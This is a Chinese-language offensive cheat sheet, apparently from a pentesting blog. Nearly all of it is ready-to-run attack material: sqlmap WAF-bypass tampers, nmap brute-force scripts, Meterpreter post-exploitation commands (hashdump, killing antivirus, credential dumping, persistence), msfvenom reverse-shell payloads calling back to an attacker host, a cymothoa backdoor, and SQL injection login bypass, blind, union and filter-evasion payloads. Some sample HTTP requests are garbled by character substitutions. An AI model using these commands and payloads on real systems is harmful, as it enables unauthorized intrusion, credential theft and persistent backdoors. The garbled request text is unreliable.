1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

--skip-urlencode 不进行url编码
 
--keep-alive 设置持久连接，加快探测速度
 
--null-connection 检索没有body响应的内容，多用于盲注
 
--thread 最大为10 设置多线程
 
--identify-waf 检测防火墙类型

-o 开启性能优化,优化的分别为--keep-alive，--null-connection，--thread

--smart 启发式快速判断，节约浪费时间

--batch	选项全选yes

--proxy	代理

--cookie 指定cookie

--technique  	选择注入类型 B 布尔注入，E报错注入，U联合注入 T时间盲注 S 使用sqlmap的配置,如果是布尔盲注应选择U而并非B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

apostrophemask.py       用UTF-8全角字符替换单引号字符
apostrophenullencode.py    用非法双字节unicode字符替换单引号字符
appendnullbyte.py       在payload末尾添加空字符编码
base64encode.py        对给定的payload全部字符使用Base64编码
between.py           分别用“NOT BETWEEN 0 AND #”替换大于号“>”，“BETWEEN # AND #”替换等于号“=”
bluecoat.py          在SQL语句之后用有效的随机空白符替换空格符，随后用“LIKE”替换等于号“=”
chardoubleencode.py      对给定的payload全部字符使用双重URL编码（不处理已经编码的字符）
charencode.py         对给定的payload全部字符使用URL编码（不处理已经编码的字符）
charunicodeencode.py      对给定的payload的非编码字符使用Unicode URL编码（不处理已经编码的字符）
concat2concatws.py      用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py        用“LIKE”运算符替换全部等于号“=”
greatest.py          用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py      用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py         用小写值替换每个关键字字符
modsecurityversioned.py    用注释包围完整的查询
modsecurityzeroversioned.py  用当中带有数字零的注释包围完整的查询
multiplespaces.py       在SQL关键字周围添加多个空格
nonrecursivereplacement.py  用representations替换预定义SQL关键字，适用于过滤器
overlongutf8.py        转换给定的payload当中的所有字符
percentage.py         在每个字符之前添加一个百分号
randomcase.py         随机转换每个关键字字符的大小写
randomcomments.py       向SQL关键字中插入随机注释
securesphere.py        添加经过特殊构造的字符串
sp_password.py        向payload末尾添加“sp_password” ``for` `automatic obfuscation ``from` `DBMS logs
space2comment.py       用“``/**/``”替换空格符
space2dash.py         用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py         用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py       用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py      用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py      用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py      用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py      用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py         用加号“+”替换空格符
space2randomblank.py     用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py      用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py       用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
varnish.py          添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py     用MySQL注释包围每个非函数关键字
versionedmorekeywords.py   用MySQL注释包围每个关键字
xforwardedfor.py       添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

POST /sqltest/05hp HTTP/1
Host:10clhost
Proxy—Connection：keep—alive
Content—Length：15
Cache—ControI：max—age=0
Accept：text/html,application/xhtml+xml,application/xml;=0．9，
Origin：http：//localhost
Upgrade一Insecure—Requests：1
User—Agent：HO211la/5·0
Content—Type：application/x—vvv—form—urlencoded
Referer：http：//localhost/sqltest/post.php
Accept—Encoding：gzil)'deflate
Accept—Language：zh—CN,zh;q=0·8

test=sssss&passwd=assdsa

1

sqlmap -r request.txt -p(指定参数) test

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

POST /sqltest/05hp HTTP/1
Host:10clhost
Proxy—Connection：keep—alive
Content—Length：15
Cache—ControI：max—age=0
Accept：text/html,application/xhtml+xml,application/xml;=0．9，
Origin：http：//localhost
Upgrade一Insecure—Requests：1
User—Agent：HO211la/5·0
Content—Type：application/x—vvv—form—urlencoded
Referer：http：//localhost/sqltest/post.php*(对referer进行测试)
Accept—Encoding：gzil)'deflate
Accept—Language：zh—CN,zh;q=0·8

test=sssss&passwd=assdsa*(对passwd进行测试)

1
2
3
4

nmap 192.168.0.1
nmap 192.168.0.1 192.168.0.2 ...
nmap 192.168.0.1-192.168.0.100
nmap 192.168.0.1/24

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

nmap --script=default 使用默认脚本进行扫描

--script-args=key1=value1，key2=value2...用于传递参数给脚本

--script-args-file=filename 使用文件给脚本提供参数

--scrip-trace 如果设置该参数，则显示脚本执行过程 发送与接收的数据

--script-updatedb 在Nmap的script目录里有一个script.db文件，该文件保存了当前Nmap可用的脚本，类似于一个小型数据库，如果我们开启Nmap并调用了此参数，则Nmap会自行扫描scripts目录中的扩展脚本，进行数据库更新。

--script-help 调用该参数后会输出该脚本对应的脚本使用参数，以及详细信息

1
2
3

nmap --script=auth 192.168.0.11 对目标主机进行弱口令检测

nmap --script=brute 192.168.0.11 对目标主机进行数据库、SMB、SNMP等进行简单密码的暴力猜解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

screenshot
sysinfo
route
ps
getsid
getpid
getuid
getsystem
background
download
upload
hashdump	#导出目标计算机的sam数据库中的Hash
shell
idletime #查看电脑运行时间
chcp65001	#乱码切换
migrate	#进程迁移，eg：migrate 227

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

run post/windows/manage/killav
#杀死关闭杀毒软件

run post/windows/manage/migrate
#进程自动迁移

run post/windows/gather/checkvm
#检测是否在虚拟机中

run post/windows/manage/enable_rdp
#开启Windows的rdp服务

run post/windows/manage/autoroute
#查看本地子网路由

route add 192.168.1.0 255.255.255.0 1
#添加路由的信息取决于本地路由，其中1为background后的session ID

run post/windows/gather/enum_logged_on_users
#查看有哪些用户登录了目标机器

run post/windows/gather/enum_application
#列举安装在目标机上的应用程序

run windows/gather/credentials/windows_autologin
#获取自动登录的密码

run windows/gather/smart_hashdump
#优于hashdump，适用于未开启UAC

1
2
3
4
5

msf6 > use exploit/multi/handle 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.11
msf6 exploit(multi/handler) > set lport 8888
msf6 exploit(multi/handler) > exploit

1
2
3
4
5
6
7

-p, --payload <payload> 指定需要使用的payload(攻击荷载)。
-l, --list[module_type] 列出指定模块的所有可用资源. 模块类型包括payloads/encoders,nops,all
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder]   指定需要使用的encoder（编码器）
-a, --arch  <architecture>  指定payload的目标架构
--platform   <platform>  指定payload的目标平台
-x, --template   <path> 指定一个自定义的可执行文件作为模板

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.0.11 LPORT=8888 -f exe -o farmsec.exe

#-e x86/shikata_ga_nai -i 5  使用 x86/shikata_ga_nai 编码5次

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f elf > shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f elf > shell64.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f exe > shell64.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=$ip LPORT=80 -f raw >shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ip LPORT=4444 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ip LPORT=4444 -f war > shell.war
msfvenom -p cmd/unix/reverse_bash LHOST=$ip LPORT=4444 -f raw > shell.sh
msfvenom -p android/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 R > shell.apk

1
2

cymothoa -p 756 -s 1 -y 8888
#系统环境下，非meterpreter下。-p指定pid，可用ps -aux/tasklist；-s指定shellcode编号，可使用cymothoa -s查看列表；-y指定payload的端口

1
2

nc -nvv 192.168.0.11 8888
#连接目标主机后门

1
2
3
4
5
6
7
8
9

run persistence -A -S -U -i 60 -p 8888 -r 192.168.0.11 
#A：自动启动 Payload 程序
#s：系统启动时自动加载 。
#U：用户登录时自动启动 。
#X：开机时自动加载 。
#i：回连的时间间隔 。
#P：监听反向连接端口号 。
#r：目标机器 IP 地址 。
#成功后使用sessions查看建立的连接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

#
-- 
--+
/*
-- -
;%00
`
/!* */内联注释
%20 url编码，原文为空格
%27 url编码，原文为单引号

1
2
3
4
5
6

@@global.version_compile_os 获取当前系统
database()  获取当前数据库名	
user()	获取当前用户名
version()	获取当前mysql版本号
system_user()	系统用户名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

'or'='or'
admin'-- 
admin' or 4=4-- 
admin' or '1'='1'-- 
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1-- 
admin' or '2'='2
')or('a'='a
or 4=4--

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

 -1'

 1' and 1=1

 1' order by 3

 -1' union select 1,2,3 
#可使用/!* */内联注释 -1' /*!union*/ /!*select*/ 1,2,3

 -1' union select version(),database(),user() 

#mysql低于5.0则下面的就无用
 -1' union select 1,table_name,3 from information_schema.tables where table_schema='sql'#

 -1' union select 1,column_name,3 from information_schema.columns where table_schema=’sql' and table_name='tabletest'#

id=-1‘ union select 1,clotest,clotest2 from sql.tabletest#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

1' and length(user())>5#
#正常则加，不正常则改为=进行确定长度

1' and substring(user(),1,1)='a'#
#对第一个字母进行猜测

1' and ascii(substring(user(),1,1))=105#
#可以用ASCII码

id=1’ and substring(user(),2,1)>'a'#
#对第二个字母进行猜测

1' and (select count(schema_name) from information_schema.schemata) =6 #
#查询有几个库

1' and length((select schema_name from information_schema.schemata limit 0,1))=8 #
# limit 0,1代表截取第一行。limit 0,2代表截取前两行，limit 1,1，代表截取第二行。limit 3,3代表截取从第四行到第六行。

1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 #
#使用ASCII码

1' and (select count(table_name) from information_schema.tables where table_schema='sql')=2 #
#查询有几个表

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))<15 #
#查询表名长度

1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='a' # 
#进行系列猜测表名

1' and (select count(column_name) from information_schema.columns where table_schema='sql' and table_name='users')=8 #
#查询字段数量

1' and length((select column_name from information_schema.columns where table_schema= 'sql' and table_name= 'users' limit 0,1))=7#
#查询首个字段的长度

1' and (substr((select column_name from information_schema.columns where table_schema= 'sql' and table_name= 'users' limit 4,1),1,1))='a'#
#查询第4张表的第一个字段的名字

1' and (select count(*) from dvwa.users)=5#
#数据盲注，先对结果数量判断

1' and length(substr((select user from users limit 0,1),1))=5#
#对数据长度判断

1' and substr((select user from users limit 0,1),1,1)='a' # 
#对数据进行判断

1
2

1' and if(length(database())>1,sleep(5),1)
#把盲注的语句套入即可，不多说了

1
2

' or updatexml(0,concat(0x7e,database()),0),",")#
#0x7e解析为~，更加方便识别

1

You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1

1

ORA-00933: SQL command not properly ended

1

Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string

1

Query failed: ERROR: syntax error at or near

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

注释代替空格
select * from tb1 where name='asd';
等价：
select/**/*/**/from/**/tb1/**/where/**/name='asd';

括号代替空格
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
等价：
select(name)from(tb1)where(name)=('asd');

引号代替空格
mysql中可用单引号或双引号来代替空格。
select name from tb1 where name ='asd' and 1=1;
等价：
select name from tb1 where name ='asd'and'1'='1';

特殊字符代替空格
如下特殊字符可代替空格：
%09    水平定位符号%0a    换行符%0c    换页符%0d    回车%0b    垂直定位符号

用Tab代替空格

1
2
3
4
5
6
7

绕过示例：过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过select ——> selec\x74union——>unio\x6e
大小写绕过SelEct
双写绕过selselectectuniunionon
urlencode，ascii(char)，hex，unicode编码绕过关键字
内联绕所有/*!union*//*!select*/

1
2
3
4
5

可通过注释、括号、内联注释代替引号。
字符串可写作0x十六进制。
select * from tb1 where name='asd';
等价
select * from tb1 where name=0x617364;

1
2

?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=

1
2
3
4

在使用mid，substr，substring函数的时候，如果逗号被过滤，可以通过from x for y代替。
select mid(user(),1,2);                #从第一个字符开始截取2个
等价
select mid(user() from 1 for 2);    #从第一个字符开始截取2个

1
2
3
4
5
6
7
8
9

测试中通常需要通过注释符屏蔽后面的语句，否则容易报错，但注释符被过滤了。
例如：select * from tb1 where id=$_GET[‘id’] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句，如果系统不支持堆查询注入，那么后面语句不会执行，或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号，select * from tb1 where id='$_GET['id']' limit 1; 
这时候可以传入1' or '1'='1  ，再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;

1
2

逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

1
2

逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

1
2

逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

1
2

逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'

1
2

逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制，并小写。

1
2

逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 1 && lpad(user(),1,1) in 'r'

1
2
3
4
5
6
7
8

#等价关键字，在很多时候，当关键字被过滤后，可通过与其等价的其他关键字来绕过。
等价and
假如：select * from tb1 where id=1 and 1=1
此时和and等价关键字有：like（1 like 1。like可跟通配符。），rlike（1 rlike 1 rlike可跟正则表达式。），regexp（1 regexp 1 regexp可跟正则表达式。），&（1 && 1 ，逻辑与），&&（1 & 1，按位与，任意数&0的值为0），与and的结果都是1.

等价or
假如：select * from tb1 where id=1 or 1=1;
此时等价or的关键字有：||    （逻辑或），|    （按位或），任意数|0的值为任意数